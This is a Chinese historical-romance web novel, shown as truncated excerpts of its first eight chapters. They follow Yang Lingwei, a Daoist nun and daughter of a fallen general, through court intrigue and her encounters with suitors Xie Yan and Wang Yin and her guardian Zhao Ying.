《江南燕,江北雪》 1. 一、千秋 《江南燕,江北雪》全本免费阅读 江南的冬日总是结束的突兀,不知哪一天开始,淮水边的花陆陆续续都开了,一时竞态争艳,如云如雾,好不热闹。自从南渡至此,好容易有了片刻安宁,无论是世族还是百姓,皆不愿意荒废这大好春光,纷纷于晴好之日前来踏春。 皇帝萧祁亦贪恋此间繁华,决定将皇后的千秋节庆典放在淮水边新建成的凝华台上办。 如今的谢皇后,却非萧祁原配。萧祁本来的妻子赵氏,不过是蜀中一小吏之女。皇帝尚未践祚时,其父受封成都王,其母郭氏是成都王府的一名侍妾,与赵家有些旧谊。一日赵氏随母前来王府做客,郭氏一眼便相中了这个相貌美丽,端雅之礼的姑娘,不久后就禀告了成都王,给两个孩子定了亲。 婚后,年轻的萧祁和赵氏感情甚笃,很快就诞下了第一个孩儿。若不是后来的中原大乱,成都王不得不出兵襄助皇帝平叛,自己又在平叛中被堂兄河间王诛杀,或许两个人会一辈子都过着平淡却安宁的日子。 萧祁不想回想那些担惊受怕的日子。他一步步被推上了帝位,回头去看,过往是一团迷雾,迷雾中有金戈铁马的厮杀,有兵临城下的恐慌,有权臣拥戴的迷惘……他本不是个有野心的人,那些暗无天日的日子,是他不忍回想的伤疤。 那些日子,只有他的妻子,无论是什么样的困局,都陪着他,守着他,给他带来无限的勇气。然而她自己却死在了丈夫功成名就,飞黄腾达之前。 如今的谢皇后,乃是陈郡谢氏之女。谢氏为世族翘楚,又有拥立之功,是萧祁必须仰仗的力量。更何况她比萧祁小了十几岁,温柔美貌,聪慧明礼,自然受尽宠爱。 这是他登上至尊位置后,给她过的第一个生辰。哪怕北地的军队步步逼近,朝野混乱不堪,天下哀鸿遍野。他就是想要为她好好庆贺一次生辰,越盛大越好。 廿四日很快到来,这一日便是千秋节的正日子。 这一日天气甚为清朗,只有几缕闲云漫卷在天际,被风吹着,舒作各种美丽的姿态。百姓听说今日台上会有钱币散下,早早便聚在台下,翘首张望着。台上有袅袅乐声传来,熏风阵阵,香气绵绵,闻着都让人心情舒畅,可以想到那是何等富丽旖旎景象。 不一会儿,有人策马而来,青色的骏马肆意驰骋过街巷,后面跟着一队亦步亦趋的亲随。看这排场,便知是位贵人了。 那人快到台下时,从马上一跃而下,将马鞭丢给了近旁的一位侍从,疾步向着那飘出香风的舞台歌榭而去。众人这才看清了他的长相,不由啧啧称奇。 十五六岁的少年,穿着一身绛色的袍服。他的眉眼出众的冶艳华丽,生生将那明亮到艳丽的袍服都压了下去,只让人注意着他的样貌,移都移不开眼睛。 “这位郎君好俊的样貌,究竟是王家儿郎,还是谢家的子侄?”有人不禁问道。 一个长着络腮胡的男子,不屑地哂了一下,摆了摆手,笑道:“好一个乡巴佬,连他都不识得。这位郎君便是皇后殿下的胞弟,谢氏三房次子谢衍,行七,小名叫阿弥的那位,今后尊称一声‘小国舅’就对了。” 众人默契地“哦”了一声,看着那意气风发的背影,心照不宣地露出一抹复杂难明的笑意。 正在众人交头接耳地聊着这位小国舅的浪荡不羁时,又一辆羊车款款停下。 这些年,建康城的贵人们越来越喜欢乘坐这稳当轻便的羊车了,就连庶族也纷纷效仿起来,一时蔚然成风。 羊车自不如马车阔大,但胜在轻巧闲适,很有安逸之态。富贵人家又喜装饰,云母砗磲之类的贵重物品尽数点缀在羊车上,让那小小的车架繁复华丽到无以复加,反而失了本意。 这辆羊车倒十分简素,朱红车壁上绘着凤鸟的纹饰,除此之外再无其他。正在大家不以为然,准备用目光迎接下一位贵人时,车上下来的人却瞬间抓住了众人的眼球。 那是一个十分年轻的女冠,穿着一身青色的道袍,手上持着一柄麈尾,头上顶着一个妙常冠,除此之外再无任何坠饰。然而她的样貌,却生得极夺目,让人只觉得再多坠饰于她而言都是枉然,都是冗余。 梨花初绽的皎洁,月华满天的温柔,明明五官很淡很淡,但整个人偏因此带上了遗世独立的感觉。 一时之间,人语迟迟,好半晌才有人慨叹道:“想不到建康城有如此佳人……” 有人接了他的话,大呼可惜:“好好的女郎,怎 2. 二、高台 《江南燕,江北雪》全本免费阅读 灵徽本不愿来这样的场合,一个出了家的女冠,待在山上就很合事宜,不必在这里被迫接受着众人目光的审判和凌迟。可是,皇后一番盛情,很早就遣了黄门上山相邀。她到底不是什么世外高人,寄人篱下而已,不答应只会显得自己不识抬举。 今日的庆典办得盛大,足见圣上对皇后的重视,并不是虚言。可是,这样的喧嚣热闹,让她觉得虚幻迷离,好像曾经入目过的断井残垣,烧杀戮掠不过是一场噩梦。但分明不是啊……端坐在御座上言笑晏晏的人,是曾经的成都王世子,不是那个身体肥胖却面相慈爱的先帝。 她依稀记得几年前,也是在相似的高台之上,先帝握着阿父的手,笑言道:“子显啊,你生了这么个如花似玉的好女儿,怨不得爱如珍宝。朕都不知道该给她指个什么样的亲事,才堪相配。” 阿父为人忠诚谨慎,忙道不敢,只言:“圆月被臣骄纵太过,性子刁蛮,哪里能得陛下这般评价。只是臣久在边关,无暇相顾,实在放心不下她。若得陛下体恤,给她指一门稳妥的婚事,臣便再无后顾之忧,纵是死也无憾了。” 先帝后来遵守承诺,为她挑中了琅琊王家的九郎王愔。王家门第清贵,王愔本人年少有为,品貌出众,那是一段洛阳城里人人都羡慕的婚事。可是那才过去几年啊,晋阳城破,阿父殉国,紧接着胡马南下,连洛阳城都化为了一片焦土。过往的人和事如烟尘般,在眼前聚了又散,时光流转,仿佛不过是一段昨日故事,又仿佛已经隔了半个人生。 不过几个呼吸,她已经从悲伤中抽离出来。平静又缓慢地靠近御前,在宫人的带领下,郑重地行了个礼,用恭敬地语气道:“臣见过陛下,见过娘娘。愿娘娘长乐无极,芳龄延永。” 萧祁听到声音,抬眼时恍惚了一下,大概想起了她的身份,勉强露出个笑容来:“宜城君虽然入了道,到底是朕亲封的郡君,实在不宜过分简素,否则被人认为受了苛待,恐会寒了前方将士的心。今后若有什么需要,只管告诉皇后便是。” 灵徽低头,应得谦卑,本就清丽袅娜的样貌,因为这个举动而显得越发楚楚。 她的价值,本就是为了安抚人心。莫说军中多为阿父旧部,就说那忠诚不屈之名,就足够给偏安一隅的朝廷一份难得的体面。可皇帝终究是成都王一脉,和先帝并不亲厚,自然也不会对他们这些先帝旧臣有多少感情。 这些,她无比清楚。 皇后见此情景,忙笑着打起了圆场,她起身走到灵徽跟前,亲自扶起了她,一面握了她的手,一面笑道:“灵徽如今的身份,自然不肯轻易踏足红尘的,还是妾身特地请她来的。陛下忘了吗,妾亦好道,生辰之日,她肯来,是妾的荣幸。” 谢皇后如此说,萧祁自然不能再拂了面子,淡漠着寒暄了几句,就不再理她。 灵徽奉上自己的礼物,那是一副画,山水清幽,意境悠远,是皇后喜欢的风格。 还未等皇后夸赞,身后突兀地响起了一个声音,清清朗朗的,很有少年意气:“好脱俗的画,这用墨,这意境,当真不凡。” 带着笑意的夸赞随着一阵白檀气息一道袭来,灵徽免不了侧目。一身夺目的绛色首先闯入视野,接着,一张昳丽夺目的脸就突然落在了她的眼中。眉目如画的少年有着艳夺桃李的容颜,这张脸就算是长在女子那里,也算得上出众美丽。 她客气地浅笑了一下,准备将自己慢慢躲在不起眼的地方,远离这样尴尬又无聊的场合。可是那双眸子却像是黏住了自己一般,即使她离开很远,仍有一种异样的感觉从身后传来,让她很不自在。 可这样的不自在,并没有随着宴饮的开始而消弭。因为她又遇到了一个不想遇到的人,那个人偏偏就坐在自己不远的地方,用一种自以为专注又深情的眼神盯着她。她做不到视而不见,只好抬起眸子,微微点头,算作招呼。 王家长房最出众的郎君,迎娶四世三公杨家的女儿,原本是世人眼中最绝佳的婚事。可这婚事却随着天下动乱骤起,变成了一场笑话。拥立新帝的功劳让王家在天下世族里脱颖而出,成了最炙手可热的存在。王家人自然不允许他们最为骄傲的儿郎和一个失了家族依仗和清白名节的女子有什么瓜葛。 而且她也不愿意啊…… 城破那日,她也等过他的,可无限期待的后果,只有无限失望。她就是个别扭的性子,一旦失望了,就不会再给彼此任何机会。 乐舞声阵阵入耳,有些嘈杂,空气里弥漫的酒肉气息,一些不太好的记忆,随着这样的气味涌入她的胸口,免不了又是一阵恶心。她扶着额,踉跄着站了起来,迫切想要逃离。可惜,这里不是深宫,而是高台。避无可避之下,只好躲过了人群,站在台边,俯身看着台下的万家灯火。 春夜的风还有些料峭,侍婢云阁将披风裹在她身上,担忧地望着她。“女君,咱们可要先回去?” 灵徽摇头,笑得寂寥:“没看到陛下正在兴头 3. 三、回山 《江南燕,江北雪》全本免费阅读 云阁来得很快,没有给她太多悲春伤秋的机会。灵徽从她手中接过药包,放在鼻下深嗅了几口,才觉得自己的呼吸微微顺畅了几分。 “这段婚事是先帝亲赐,你阿父也很满意,你为何……为何不愿?”王愔不忍谈话就这样无疾而终,匆匆相见,多看一眼都困难重重。 他自小被培养的知规守礼,从不逾矩,唯一的一次冲动,就是跪着求阿父,让他为自己出面,求娶弘农杨家的灵徽,那个美丽烂漫,如桃花灼灼的姑娘。求娶杨家女意味着什么,他自然明白,阿父对于他的这个决定十分无奈,却也还是答允了下来。 彼时朝局暗昧,大乱已起,萧家各地藩王狼子野心,手握重兵而争战不休,皇帝依仗的唯有杨家,也只有杨家将自己的满门生死都捆绑在奄奄一息的朝廷上。就算是赐婚,也无人甘愿陪着他们共进退,更何况主动求娶,还是琅琊王氏。 皇帝激动不已,赐婚的旨意都没有经过中书门下,仓促慌张,其意不言自明。 可惜,他们尚未完婚,洛阳便已陷落,她落入敌手,三年音讯全无。 王愔知道她的顾虑,表示自己并不在意:“我最后悔的事情,便是当初没有带你一起离开。” 灵徽放下了手里的药包,握住了云阁的手,并不想多和他纠缠过去的事情。 “没什么后悔的,每个人都有自己的缘法,你我无缘,不用介怀。”她说话的语调和相貌一样冷若冰霜。 王愔想不明白,是什么让一个明媚的姑娘,变得如此面目全非。她看上去楚楚纤弱,可说出的话却像是刀剑般锋利伤人。明明她是温柔可人的,会甜甜的笑,会羞怯地躲在树后偷偷看他。 “你当真是圆月吗?”他声音不大,带着怅惘地语调。那年,当从她的族兄杨临的口中知道这个名字时,他就想过,待她过了门,他一定不会生分地喊她灵徽。他会叫她“圆月”,如她所有亲近的人一般。 她愣了一瞬,继而仰头看着他,声音有些尖刻:“还请将军慎言,你我尚未亲近到这般程度,过去没有,以后也不会有。我无心于将军,还请将军莫要纠缠。” 王愔仍要说什么,忽然听得身后有低笑声传来。 回头而望,来人绛衣鲜艳,笑意融融:“方才到处找寻王将军不见,却原来是躲在此处,莫不是怕大家给你灌酒?” 这般夺目的人物,不刻意打听都会知道身份。皇后胞弟谢衍,人称“小国舅”,如今在御前任秘书郎,显然前途无量。 王愔看着来人,很快就恢复了往日端稳的样子,微笑着拱手道:“原来是元和,我与宜城君有些私事要谈,倒让你见笑了。 灵徽反感他这些言语细微处透出的暧昧,尚未等他引荐,便淡漠地行了礼,扶着云阁转身离开。 那人的声音在身后朗朗响起,仍旧带着笑,话里话外却有些意有所指:“听闻令堂已经为将军求婚于龙亢桓氏,那桓氏文君咱们也都见过,自是品貌皆嘉,想来很快便能喝到将军的喜酒了吧。” 王愔恼他没有眼色,却也不能贸然否认,只能含糊着,不咸不淡地说了句:“元和消息这般灵通吗?” “琅琊王□□仪出众,这一定亲,能令多少建康女郎梦碎,连家中小妹都不住抱怨,在下就是不想知道也得知道啊!” 隔得远了,仍有只言片语传入耳中。灵徽弯了弯唇角,萍水相逢,仍仗义执言,也不知这位小国舅是任性习惯了,还是未经世事沧桑,仍有一腔赤子心肠。 回山时,天色已晚。皇后允她留宿宫中,却被灵徽婉言拒绝。如来时一样,一人一仆一个车夫,她的羊车行走在宵禁后空荡荡的街面上,有些孤零零的凄凉。 “女君不该拒绝侍卫相送的,一会儿出了城,路上实在不安全。若是有人冲撞,那可怎生是好?”云阁胆子小,眼看着夜色深沉,四周寂静,不免心里发慌。 “无需害怕。”灵徽靠在车壁上,神色怏怏,“这里是京畿之地,草寇恶徒不敢造次,更何况听说那个 4. 四、相识 《江南燕,江北雪》全本免费阅读 就在灵徽纠结是要弃车奔逃,亦或是出其不意攻击贼首换取偷生之机时,马上之人终于出了声:“莫要害怕,是我。” 那个声音虽然陌生,却很是清澈干净,听在这样空寂的夜里,无端让人心安。 灵徽示意郑叟停车,车帘掀开时,才后知后觉地发现外面已经火光缭绕,可见跟随的人数不少。青骢上下来一个人,站在她的车前。 谢家七郎生得昳丽,灯火照耀下更显灼灼。 没想到会是他,灵徽愣了一下,并未行礼,淡淡的客气道:“原来是小国舅啊,方才失礼了。” 男子似乎并不喜欢这个称呼,皱了皱眉,笑容却依旧温暖和煦:“女君不必如此称呼,你想叫在下谢衍也好,元和也行。‘小国舅’三个字却是当不起的。” 灵徽听他这样说,不置可否,只是点了点头。 这样的举动,可以说得上傲慢,赵缨身边的侍从庚寅有些不满,嘀咕道:“女君好生无礼,我家郎君见你独自出城,实在不放心,便紧紧跟随保护……” “庚寅!”谢衍制止了他的话,有些赧然,“近日京郊不大太平,你独自出城,恐有危险。我刚好出城有事,不过顺路罢了。” 这个年岁的人,最藏不住心事。越是解释,越显得刻意。 “多谢郎君大恩。”她终于露出一丝笑容,这个笑容清浅如湖上之风,漫不经心拂过,却足够吹皱满池春水。 明知道她不过是敷衍,嘴上说着感谢大恩,其实根本没有放在心上。但他还是为她的笑容触动,忍不住想要靠近。 惊鸿一瞥,大概就是现在的感觉。 他一向不羁,也习惯了被追捧着,奉承着,夸赞着,乍然受了冷落,反而多出了几分别样情肠。她越是疏淡,他便越想去靠近。就像是有人告诉他,前方山势陡峭,有野兽出没,他便越想去闯一闯,好让平淡到无趣的日子里多一些新奇的体验。何况她那样美,让自己魂牵梦萦,爱慕难舍,让他浑浑噩噩,手足无措。 并不熟稔,自然也没有更多话聊,灵徽顾忌着面子,半阖车门,依稀能看到策马在旁的俊秀身影。到底是世家公子,虽说风流了些,到底不算孟浪,一路上话也不多,只时不时地侧首看灵徽。 羊车上悬着青色的帘幕,隐在帘幕后的容颜,如溶溶月色下的梨花,有皎洁宁静的美好。 终于看到了山门,一双手矜持地自帘后伸出,搭在侍婢的腕上,略借了些力后,人便轻盈盈地落在了地上。谢衍注意到,她的面色有些苍白,衬得那双眸子点漆一般,黑得发亮。乍然一看,竟如夜间山林里勾魂摄魄的妖物一般。 她没有点醒正在发怔的人,含着淡笑看着对方,似乎也在细细打量着这个京中有名的世家贵公子,想要弄懂他此番殷勤相送的意图。 谢衍被她看得不自在,骤然清醒了过来,俊脸一时通红,踟蹰地看了看不远处的道观,讷讷道:“还好一路平安,也算没有辜负皇后殿下的重托。” 这个理由找的勉强,就算皇后托付护送,也断不会让自己尚未婚配的亲弟弟大费周章,特地出城相送。然而灵徽却不拆穿,不置可否地笑了笑,曼声道:“郎君可要进去坐坐?” 谢衍是知礼的人,忙道不必,却在触到她眼神的刹那,又局促紧张了起来,鼓起勇气开了口:“令月嘉辰,相逢有缘,还请女君告知芳名。” “哦?”她挑眉,掩袖笑道,“郎君竟不知么?” 见谢衍的脸越发红了,未再为难,大方地自报了姓名:“弘农杨氏,灵徽,已故太尉忠献公之女。” 杨尚牺牲后,被朝廷追赠为太尉,谥号“忠献”,故而她这般自称。谢衍听到由她亲口报出的闺名,慢慢重复了一遍,胸口荡漾起一抹柔情,只觉得她的名字如人一般,精妙无双。 “陈郡谢氏,谢衍谢元和,暂领秘书郎一职。得遇女郎,平生之幸也。”他似乎忘了,自己已然介绍过自己的身份,这般郑重其事的样子,惹得身旁的庚寅都震惊不已。何时何事,能让一向风流潇洒,落拓不羁的小国舅古板端严成这样。眼前这个美人,的确很不一般。 她确然不一般,见了谢衍这般,半分羞怯也无,只是微微屈膝行了个礼,然后旁若无人地转身离开。夜风轻拂过她身上的襦裙,风里便带上了幽幽的香气,那是一种微微发苦的清冷香气。恰如她,明明在笑,却总让人觉得若即若离。 “改日正式前来拜会女君,可否?”谢衍追着月华下那一抹孤清的背影,问道。 眼见着那人如 5. 五、梅雨 《江南燕,江北雪》全本免费阅读 时间似乎过得飞快,一转眼便到了梅雨时节。连绵的雨下了许多天,丝毫不见放晴的趋势。乌沉沉的云压在屋宇之上,尽管开着门窗,室内还是昏黑一片,闷得厉害。 屋中的灵徽螓首低垂,对着灯盏缝着衣袍。灯火被风摇曳着,忽明忽暗,云阁见状忙要走过去将窗户阖上。 “莫要关窗,太闷了些。”灵徽的声音温温柔柔的,没有抬头,十分专注。 云阁顿了一下,趋了几步过来,皱眉道:“观中自有仆妇,何须女君亲自动手缝制衣物。这般伤眼,赵将军若是知道了,怎会安心接受。” 灵徽听闻此言,慢慢抬眸,望着窗外一片雾蒙蒙的天地,笑得恬淡:“你不知道,荆州那地方冬日里料峭的很。官制的衣物粗苯厚重,阿兄定然不爱穿。可若是骨头受了寒,也是大麻烦。” 云阁看着看着,莞尔道:“女君大可以吩咐下去啊,或者将方法交给奴婢。奴婢的女红也不差,又何必亲自动手呢?” 缝补衣裳的手顿了顿,片刻后,听到一声长长的叹息。仿佛是无奈,仿佛是哀愁:“阿兄待我有大恩,我实在不知道该如何报答。” 云阁大致记得灵徽的忌讳,滚到口边的话又咽了回去,想了半晌,才幽幽道:“赵将军今年二十有五了吧,他怎么也不愿意成个亲,若是后宅有了人,这些事也无需女君替他操心了。” 灵徽面色如常,只是放下了手中的活计,斜斜地倚在胡凳上,凝眸远望。绵密的雨丝敲打在庭前的青石板上,轻微的噼啪声。 对啊,他也到了该成亲的年纪了啊。若是阿父还在,定然又要念叨了。 灵徽的思绪慢慢飞到了儿时,想起了第一次见到赵缨的场景。 他的面容已经模糊,只依稀想起他挺拔修长的有些过分的身姿和远超同龄人的沉稳内敛。他祖籍陇西,却长于中山,说起官话时还带着一些口音。在这个出身重于一切的世道里,他虽非寒门,却也不是盛族,因此做起事来总比别人遇到的艰难挫折多些。 再后来,阿父看中他的天赋和才华,将他养在了身边,亲自教他兵法谋略,作战之策,灵徽和他就渐渐熟稔起来。 五年时间,不长也不短,他出落的越发英俊,一口官话说得流利,身上再也看不到当初的青涩和局促,落落舒展,威仪万方,做起事来比阿父还周到。 再后来,晋阳失守,阿父被匈奴人所杀,而他因为被派去搬救兵,幸免于难。等到再相见时,他已是朝廷的中流砥柱, 护国柱石,驻守在荆州要地,手中握有将近一半的兵马。 不知道他一次次北伐究竟是不甘心多一些,还是和自己一般报仇的心思更重一些,总之阴差阳错,她被她所救,结束了三年不堪的流离。 “圆月,是阿兄不好,来迟了。”那是他们重逢后的第一句话,没有时间去共诉离殇,只有类似于亲人般的依恋和劫后余生的激动难言。灵徽没有说话,只是紧紧抱住了他,缩在他手臂圈起的一方天地里,依靠在他如山的胸怀中。 若说世上还有哪个让她全心依赖信任的人,赵缨便是唯一。 雨越下越大,很快就在天地间织成了一张白色的帘幕,灵徽似乎想到了什么,低头看着自己的双手,月牙般的眼睛里雾气弥漫,愁绪萦绕,很快就掬起了一层水光。 然而还未等她伤怀太久,就看到星台撑伞走了过来,雨丝绵密,她的发和衣服都湿了一半,一面阖着伞一面低声抱怨了一句,然后整理好衣物匆匆走了进来。 云阁见她一身狼狈,忙递了布巾过去,又笑着指责:“这样的天气还跑出去疯,若是淋雨受了风寒,可怎么好。” 星台胡乱擦了几下湿透的发,语气焦急地解释:“还不是小国舅,这样的天气非要遣人送什么东西过来。女君嘱咐过不能怠慢,我也只能冒雨去拿了。” 灵徽确实嘱咐过,谢衍派人送东西来须得客气周到,不能怠慢,但是尽量不要将人请入山门,她并无多少热情去面对那位隔三差五就送东西来的贵胄。 或许这也是一种挣扎,一面理智告诉她,若要报仇,必须要借助谢氏这样的权贵之手,另一面情感又提醒她,她并不想要打开心门去接纳任何人,哪怕对方有千百般好。 拿到手中,一盒黄澄澄的梅子,上面放着一方素白的梨花笺。素笺上带着幽微的香气,几行字写得丰华俊雅,恰如谢衍其人。 “梅子黄时,落雨如丝,若入机杼,可堪成匹。”他这般写道。 “理丝入残机,何悟不成匹……”灵徽慢慢吟着,继而露出一丝笑意。小国舅着实风流之人,一语双关,如此情思婉转,哪个怀春少女会不动心。可惜,这“ 6. 六、故人 《江南燕,江北雪》全本免费阅读 却不想延请医官的消息,还是传到了谢衍的耳中。担忧之情难以抑制,顾不上自己约了友人品评一副名家之画,打马便出了府。 雨天路滑,即便是骏马都行得艰难,身上的蓑笠虽织的细密,但到底还是浸湿了衣衫。庚寅紧随其后,想要叫苦,忍了忍还是咽到了肚中。谁知快要走到城门口时,忽见十余骑自身旁飞奔而出,玄衣如铁,连斗笠都没带,更不用说蓑衣。那些人行色匆匆,就连过城门时速度都未有任何迟缓,很快便消失在城外雨雾蒙蒙的官道之上。 谢衍不免皱眉,默默低头看了看自己被污泥溅到的乌皮六合靴。忍了忍,继续策马前行。 遥岑寸碧,雾霭氤氲,本就秀丽的雁回山在烟雨笼罩中,显得越发秀致,如同仙境。清都观在半山腰,顺着青石板路拾阶而上,依稀可闻乐声袅袅,细细听来却是笛声,但又仿佛与寻常的笛声不大一样。 待他走至观门,惊异地发现了方才出城的那些玄衣人,正笔直守在门外,凶神恶煞的注视着他的到来。谢衍担忧地看向观内,只闻得笛声仍在继续,透过雨雾,调子听着有些悲伤。他稍稍放心,命庚寅去递了名帖。 开门的郑叟见是经常来送东西的小郎君,笑眯眯地打开了门,又见一位俊秀如玉的郎君缓步入内,和庚寅交换了一个眼神,便猜到这位便是那位名满天下的小国舅了。掬起一个殷勤的笑容,一面领着人往后院走去,一面笑道:“今日观中倒是热闹,先来了赵将军,如今又来了谢郎君。” “赵将军?”谢衍愕然,不知这老叟口中的赵将军与他所想的是否为一人,“荆州刺史赵玄鉴?” 郑叟摇了摇头,他是女君到了建康后新添的仆从,当然不知道那个赵将军是什么身份,不过依稀听到几句话,也不吝于和这个面相温和俊雅的郎君分享一二:“女君喊他‘阿兄’,看样子十分亲密,像是旧相识。” “那个将军个子虽然很高,人也长得壮实,但面相却很秀气和善,真看不出来是上过战场的人。” 听着郑叟絮絮叨叨,谢衍轻轻皱眉,转眼已走到了寝屋的廊下。按理说,有客来该在堂室见客,但清都观不大,正堂中设了三清真人神像,平日里也不会有熟人拜会,所以谢衍才会被直接带到灵徽的居室之外。 还未及通报,便听到里面的笛声停了下来,轻柔婉转地女声低低抱怨:“阿父偏心,连羌笛都只教给了你。” 男子声音低沉浑厚,语调温柔至极:“你若是喜欢听,就只管吩咐,我吹给你就是了。” “那阿兄就在这里住下吧,晚上吹笛给我听,我也能睡得安稳些。”听着像是在撒娇,谢衍不知,灵徽那样疏淡清冷,如月下梨花般的女子,竟也有这样小儿女的情态。 男子顿了顿,仿佛在认真思考这个问题,隔了一会儿才道:“圆月是大姑娘了,我住在此处于礼不合……”话语停了停,很快又转了个弯,变成了哄孩子般的语气,“你睡不安稳吗?又是怎么回事?听说你牙疼,王医官的药你可有按时吃?他让你去请医女,你可请了?” 一连串的问题,一叠声的关切,不用想都知道那是一副怎么样殷勤备至的表情。谢衍是男子,他明白这字字句句中包含的感情。 脚步仿佛凝滞,不知道该不该继续入内,回身时却看到了星台。她认识谢衍,忙出声道:“谢郎君为何不进屋,我家女君在里面呢。” 这一句话自然打断了屋内诡异的亲密感。 谢衍进屋时,第一眼就看到了窗边坐塌上的那个男子。一身玄衣,高大挺拔,虽然逆着光看不清五官和轮廓,但一眼便知他是个极好看的男子,端正标致的那种好看。 “赵使君,别来无恙。”谢衍自然认识他,礼节不失,面上却无多少笑容。 屋中人的确是赵缨,却不知为何从荆州赶了回来,还出现在了灵徽这里。 赵缨起身,看了眼不远处坐姿乖巧的灵徽,笑道:“想不到你还认识元和,那怎么还抱怨京中无聊,我当你一个友人都没有呢。”这语气,却又俨然是兄长一般,和方才又不大一样。 赵缨微微一笑,转头去看灵徽。只见她将发髻轻轻挽起,只簪着一只素簪,身上穿着半新 7. 七、永夜 《江南燕,江北雪》全本免费阅读 谢衍未留太久,恐口舌是非,临走时允诺要让宫中最好的御医前来,为灵徽诊治。然而却被她断然拒绝:“王医官医术甚好,一事不烦二主,郎君莫要费心了。牙疾是小事,我一个方外人,若是因为些许小事大费周章,岂不是要惹人非议。”谢衍深觉她说得有礼,叮嘱了半日,才怏怏离开。 然而,小国舅好敷衍,眼前这个人却很不好搪塞。当晚,医女就被请上了山,要仔仔细细地帮灵徽检查一番。 “让人都出去,躲得远远的,谁都不许靠近,”灵徽捂着脸,任性地撒娇,“云阁也不许留在身边!” 赵缨无奈,只好吩咐所有人远离,谁也不许靠近那间屋子半分。 帘幕被层层落下,遮蔽起一方隐秘的天地,昏沉沉地烛火不安地摇曳,搅扰着人的心都跟着纷乱起来。 约莫半个时辰,医女从里面出来,额上豆大的汗珠暴露了她的紧张和不安,然而她只是搓着双手,嗫喏了半晌,才对赵缨说道:“女君小腹处曾受过很深的刀伤,且失了调养,所以气虚体弱。” “刀伤?”赵缨追问,心不由揪在一起。 “看伤口,像是自戕所致。”医女字字句句,仿佛在进行一场凌迟。 赵缨的脸一片阴沉,在阴云蔽月的雨夜,看上去十分可怖。医女是荆州人,他专门从属地带来的心腹,断然不会乱说什么。于是他摆摆手,示意她可以离开。 不知为何,脑海中还是她孩童时的样子,圆圆的一张脸,粉雕玉琢的可爱。她喜欢腻在自己身边,很会撒娇,爱吃一切酸到掉牙的东西。后来年岁见长,少女的仪态初显,他顾忌分寸,刻意疏远,然而她浑不在意,还是喜欢跟在他身后,一口一个“玄鉴阿兄”。这样被他捧在手心里的姑娘,终究还是受到了伤害,而那些害她的人何其残忍,他们如何忍心。 拳头握了又松,松了又握,直到掌心出了粘腻的汗,他才鼓起勇气走向了她所在的地方。纵使心中已经有了准备,但当真相血淋淋的摆在面前时,仿佛带着尖利的爪牙,将人的心撕咬的七零八落。 “阿兄!”灵徽见他独自走了进来,眨了眨眼睛,分明脸上犹有泪痕,但仍露出一个明媚的笑容,看着愈发楚楚。 赵缨的心口如巨浪翻涌,混合着愧疚,心疼,自责的复杂情感,一时之间澎湃跌宕。他几步走到灵徽面前,再也控制不住地将她紧紧拥入怀中。时光仿佛和他们开了个玩笑,好像兜兜转转又回到了过去,他们不曾分离,他们的人生了无遗憾。 激涌而来的情感冲昏了赵缨的头脑,让他的五官都扭曲起来,他只能紧紧搂住灵徽,仿佛搂住她就能搂住失去的一切。 灵徽柔软乖顺地像一只狸奴,就这样任他抱着,到后来亦伸过手臂,紧紧环住了赵缨的腰。 “阿兄……杀了他们,好不好?”怀中人的声音带着哭腔,柔软又可怜,可这句话却让赵缨瞬间清醒过来。他承认,他的情绪完全被眼前这个娇柔又脆弱的女郎牵住了,她总有这样的本事,将他引以为傲的冷静克制,粉碎的一塌糊涂。 他揉了揉灵徽的头,沉着声音问:“圆月想让我杀了谁?” 灵徽仰头,一张小脸仿佛池中凝着风露的荷花,越是不施粉黛,就越有灵透动人的美。她的一双眸子蕴着水汽,就这样看着赵缨,是委屈也是幽怨:“那些害过阿父的人,那些危害江山的人,匈奴刘棼,琅琊王冀,还有……鲜卑奴!” 最后一句是咬牙切齿说出的,她并不避讳自己三年的经历,也不想去将爱和恨都掩藏起来。 “他……”赵缨斟酌了半晌,还是没有问出口,因为他知道,自己根本不想去提那个男人,也恐惧于将那个人从她的记忆里唤醒。 这是一种怎样复杂纠结的感情,比起她的彻底释怀,他更希望自己能忘却一切,不再提及。他全然不在意灵徽的过往,她在自己心中,从来都是明月相照的美好。他只是计较有个人在她心中落下一个可怖的疤痕,而自己束手无策。 “我定会替师父报仇,那些伤害过圆月的,阿兄也一个都不会放过。”赵缨允诺,拍着灵徽的背,好像是在安抚一个哭闹的孩子。 她果然缩在他怀中,情绪慢慢平静了下来,不一会儿沉沉地睡了过去。听着她绵长的呼吸,赵缨缓缓呼了口气。拭了拭额上的汗,他垂眸久久凝视着怀中女子的睡颜,海棠初绽,梨花落月,她的美貌随着年岁而长,算不得冶艳华丽,但却足以动人心弦。 那个甜甜地喊着“阿兄”的小女郎,被恩师 8. 八、入朝 《江南燕,江北雪》全本免费阅读 太极殿上压着一大团乌云,云气聚散,翻涌出诡异的形状。赵缨身量颇高,身后的内侍执伞时有些费力,时不时便磕碰到他的进贤冠上,他见是个苍白瘦弱的少年,不欲为难,摆了摆示意他不必跟随,独自撑着伞向大殿走去。 拾级而上时,听到身后有人相唤:“玄鉴,如何步履匆匆啊?” 他款款回头,见对方丰腴白皙的脸上,带着一个十分谦和的笑容,俨然便是近来风头正盛的王冀。王冀年岁四十许,养尊处优多年,故而体型略胖,一笑起来眼睛眯在一起,看着倒慈祥。 “府君,多日不见,是否安好?”赵缨性子内敛,很有些城府,并不轻易在言谈举止上得罪人,因而在朝中落了个谦谦君子之名。对于如日中天的琅琊王家,他亦保持着恰到好处的客气。 王冀向他走了几步,气度很稳,笑道:“你年少成名,如今官职也在我之上,何必如此客气呢。说起来,大魏乃至天下,哪里可见如此年轻的一州之主。江山代有才人出,人啊,不服老是不行咯。” 赵缨忙说不敢:“府君正是盛年,最是建功立业之时,若轻言老之一字,岂不是让天下百姓更加惶恐不安了。” 一番恭维,说得王冀哈哈笑了起来:“你啊!怨不得陛下看重,武将口才皆如你般,那准备将文臣置于何地。依我看,你便是回朝当个太傅,大家都是心服口服的。” 如此……赵缨依旧在笑,这便是此番言语的真实目的吧,虽说王谢两家在争京畿之权,但对于荆州落入他手中,依旧是耿耿于怀的。 这些人,抵御胡人时未必有力,揽权时十足的当仁不让。 赵缨并不恋权,但他此生以收复故土为己任,断不会轻易将一手组建的荆州军拱手让人。 “府君谬赞,赵缨出身卑微,不过是粗人一个,于文章辞赋之事更是一窍不通。还是让我回去练兵更好些,你看,刚回来一日,浑身骨头都开始疼了。”他故意敲了敲自己的胸口,宽袍之下,有金属敲击之声。 竟然连回建康都随身穿着甲胄……这个后生晚辈着实不敢小觑,智谋不说,单就这份谨慎,也远远超过了他的师父,那个骨头都腐朽在了晋阳城的杨尚。 